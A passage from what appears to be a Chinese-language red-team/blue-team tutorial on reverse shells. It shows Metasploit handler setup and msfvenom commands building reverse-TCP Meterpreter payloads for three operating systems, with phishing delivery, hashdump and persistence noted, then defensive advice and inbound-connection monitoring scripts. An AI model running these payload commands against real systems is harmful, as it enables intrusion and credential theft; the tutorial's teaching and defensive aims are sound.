&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F326nguzf2n39m260u2pf.png" alt="在这里插入图片描述" width="800" height="444"&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msfconsole
use exploit/multi/handler
&lt;span class="nb"&gt;set &lt;/span&gt;payload windows/meterpreter/reverse_tcp
&lt;span class="nb"&gt;set &lt;/span&gt;LHOST 192.168.1.10
&lt;span class="nb"&gt;set &lt;/span&gt;LPORT 4444
exploit &lt;span class="nt"&gt;-j&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;处理器后台运行（&lt;code&gt;-j&lt;/code&gt;），等待目标连接。&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;步骤3：生成Payload&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;根据目标系统生成适合的Payload：
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msfvenom &lt;span class="nt"&gt;-p&lt;/span&gt; windows/meterpreter/reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;192.168.1.10 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4444 &lt;span class="nt"&gt;-f&lt;/span&gt; exe &lt;span class="nt"&gt;-o&lt;/span&gt; shell.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Linux示例：
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msfvenom &lt;span class="nt"&gt;-p&lt;/span&gt; linux/x86/meterpreter/reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;192.168.1.10 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4444 &lt;span class="nt"&gt;-f&lt;/span&gt; elf &lt;span class="nt"&gt;-o&lt;/span&gt; shell.elf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;MacOS示例:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msfvenom &lt;span class="nt"&gt;-p&lt;/span&gt; osx/x64/meterpreter_reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;192.168.1.10 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4444 &lt;span class="nt"&gt;-f&lt;/span&gt; macho &lt;span class="nt"&gt;-o&lt;/span&gt; shell.macho
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;strong&gt;步骤4：Payload投递&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;可通过钓鱼邮件、文件上传或漏洞利用进行投递。&lt;/li&gt;
&lt;li&gt;强调在专业演练中&lt;strong&gt;隐蔽性与社会工程学&lt;/strong&gt;的重要性。&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;步骤5：Payload执行&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;一旦执行，逆向Shell会连接回Metasploit处理器。&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Meterpreter会话提供：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;文件系统访问&lt;/li&gt;
&lt;li&gt;命令执行&lt;/li&gt;
&lt;li&gt;权限提升模块&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;步骤6：后渗透操作&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;探索系统、权限提升、横向移动（在授权环境下）。&lt;/li&gt;
&lt;li&gt;示例：
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;getuid
sysinfo
hashdump
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;strong&gt;步骤7：可选持久化（仅实验/授权环境）&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;创建计划任务、注册表项或服务保持访问。&lt;/li&gt;
&lt;li&gt;强调此步骤仅限实验室或红队授权演练。&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  蓝队：防御策略指南
&lt;/h2&gt;

&lt;p&gt;防御操作需覆盖&lt;strong&gt;预防、检测与响应&lt;/strong&gt;，针对逆向Shell生命周期的每个阶段。&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;1. 侦察防御&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;使用IDS/IPS检测扫描行为。&lt;/li&gt;
&lt;li&gt;限制暴露面：关闭未使用端口、网络分段、部署蜜罐。&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;2. 监听器检测&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;监控内部终端异常监听进程。&lt;/li&gt;
&lt;li&gt;EDR可对异常TCP/UDP监听发出告警。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在前面的理论防御中，我们提到需要监控入站连接、检测异常流量。下面提供一个&lt;strong&gt;企业级蓝队脚本示例&lt;/strong&gt;，可用于实时监控TCP入站连接，并记录来源IP和目标端口，便于后续分析或告警。&lt;/p&gt;

&lt;h4&gt;
  
  
  Linux/MacOS:
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# ©2025 钟智强&lt;/span&gt;
&lt;span class="c"&gt;# 作者: 钟智强&lt;/span&gt;
&lt;span class="c"&gt;# 邮箱: johnmelodymel@qq.com&lt;/span&gt;
&lt;span class="c"&gt;##&lt;/span&gt;
&lt;span class="c"&gt;# 入站TCP连接监控工具&lt;/span&gt;
&lt;span class="c"&gt;# 版本: 1.0.0&lt;/span&gt;

&lt;span class="c"&gt;# 日志文件路径&lt;/span&gt;
&lt;span class="nv"&gt;LOG_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/inbound_connections.log"&lt;/span&gt;
&lt;span class="nv"&gt;TMP_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/tmp/current_connections.tmp"&lt;/span&gt;

&lt;span class="c"&gt;# 初始化日志文件&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOG_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"时间戳 | 来源IP | 目标端口 | 服务说明"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOG_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;fi

&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"开始监控入站TCP连接..."&lt;/span&gt;

&lt;span class="c"&gt;# 函数：根据端口号返回服务说明&lt;/span&gt;
explain_port&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="k"&gt;in
    &lt;/span&gt;22&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"SSH - 安全远程访问协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    80&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"HTTP - 未加密网页流量"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    443&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"HTTPS - 加密网页流量"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    3306&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"MySQL 数据库默认端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    5432&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"PostgreSQL 数据库默认端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    6379&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Redis 内存数据库端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    27017&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"MongoDB NoSQL数据库端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    21&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"FTP 文件传输协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    25&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"SMTP 邮件发送协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    3389&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"RDP 远程桌面协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    8080&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"HTTP-Alt - 开发或代理常用端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    8081&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"HTTP-备用端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    5228&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Google Play Services 推送端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    5223&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Apple Push Notification Service 推送端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    110&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"POP3 邮件接收协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    143&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"IMAP 邮件同步协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    993&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"IMAPS - 加密IMAP协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    465&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"SMTPS - 加密SMTP协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    5900&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"VNC 远程桌面访问"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    11211&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Memcached 内存缓存系统"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    69&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"TFTP 简易文件传输协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    161&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"SNMP 网络管理协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    8443&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"HTTPS-Alt 安全网站备用端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    &lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"未知端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    &lt;span class="k"&gt;esac&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="c"&gt;# 无限循环，每10秒检查一次TCP入站连接&lt;/span&gt;
&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="c"&gt;# 获取当前ESTABLISHED状态的TCP连接（排除本地环回地址）&lt;/span&gt;
    lsof &lt;span class="nt"&gt;-iTCP&lt;/span&gt; &lt;span class="nt"&gt;-nP&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;ESTABLISHED | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"127.0.0.1"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

    &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; line&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
        &lt;span class="c"&gt;# 提取远程IP和本地端口&lt;/span&gt;
        &lt;span class="nv"&gt;remote&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $9}'&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="s1"&gt;'-&amp;gt;'&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
        &lt;span class="nv"&gt;src_ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$remote&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="s1"&gt;':'&lt;/span&gt; &lt;span class="s1"&gt;'{print $1}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
        &lt;span class="nv"&gt;dst_port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$remote&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="s1"&gt;':'&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
        &lt;span class="nv"&gt;timestamp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="s1"&gt;'+%Y-%m-%d %H:%M:%S'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

        &lt;span class="c"&gt;# 日志去重&lt;/span&gt;
        &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$src_ip&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOG_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;/dev/null
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$?&lt;/span&gt; &lt;span class="nt"&gt;-ne&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
            &lt;/span&gt;&lt;span class="nv"&gt;port_desc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;explain_port &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
            &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$timestamp&lt;/span&gt;&lt;span class="s2"&gt; | &lt;/span&gt;&lt;span class="nv"&gt;$src_ip&lt;/span&gt;&lt;span class="s2"&gt; | &lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="s2"&gt; | &lt;/span&gt;&lt;span class="nv"&gt;$port_desc&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOG_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
            &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"新入站连接：&lt;/span&gt;&lt;span class="nv"&gt;$src_ip&lt;/span&gt;&lt;span class="s2"&gt; -&amp;gt; 本地端口 &lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="s2"&gt; (&lt;/span&gt;&lt;span class="nv"&gt;$port_desc&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt;
        &lt;span class="k"&gt;fi
    done&lt;/span&gt; &amp;lt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

    &lt;span class="nb"&gt;sleep &lt;/span&gt;10
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Windows:
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$LogFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="bp"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;\inbound_connections.log"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$TmpFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;TEMP&lt;/span&gt;&lt;span class="s2"&gt;\current_connections.tmp"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Set-ExecutionPolicy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;RemoteSigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Scope&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CurrentUser&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Initialize log file&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-Not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Test-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$LogFile&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"Timestamp | Source IP | Destination Port"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Out-File&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilePath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$LogFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Encoding&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;utf8&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Write-Host&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Starting inbound connection monitoring..."&lt;/span&gt;&lt;span class="w"&gt;


&lt;/span&gt;&lt;span class="kr"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Show-Spinner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$spinner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@(&lt;/span&gt;&lt;span class="s1"&gt;'|'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'/'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'-'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'\'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-lt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$j&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$spinner&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$spinner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;Write-Host&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-NoNewline&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;`r&lt;/span&gt;&lt;span class="s2"&gt;[INFO] Monitoring in progress... &lt;/span&gt;&lt;span class="nv"&gt;$char&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;Start-Sleep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Milliseconds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;200&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="n"&gt;Write-Host&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;`r&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-NoNewline&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kr"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Describe-Port&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;param&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;int&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="nv"&gt;$Port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
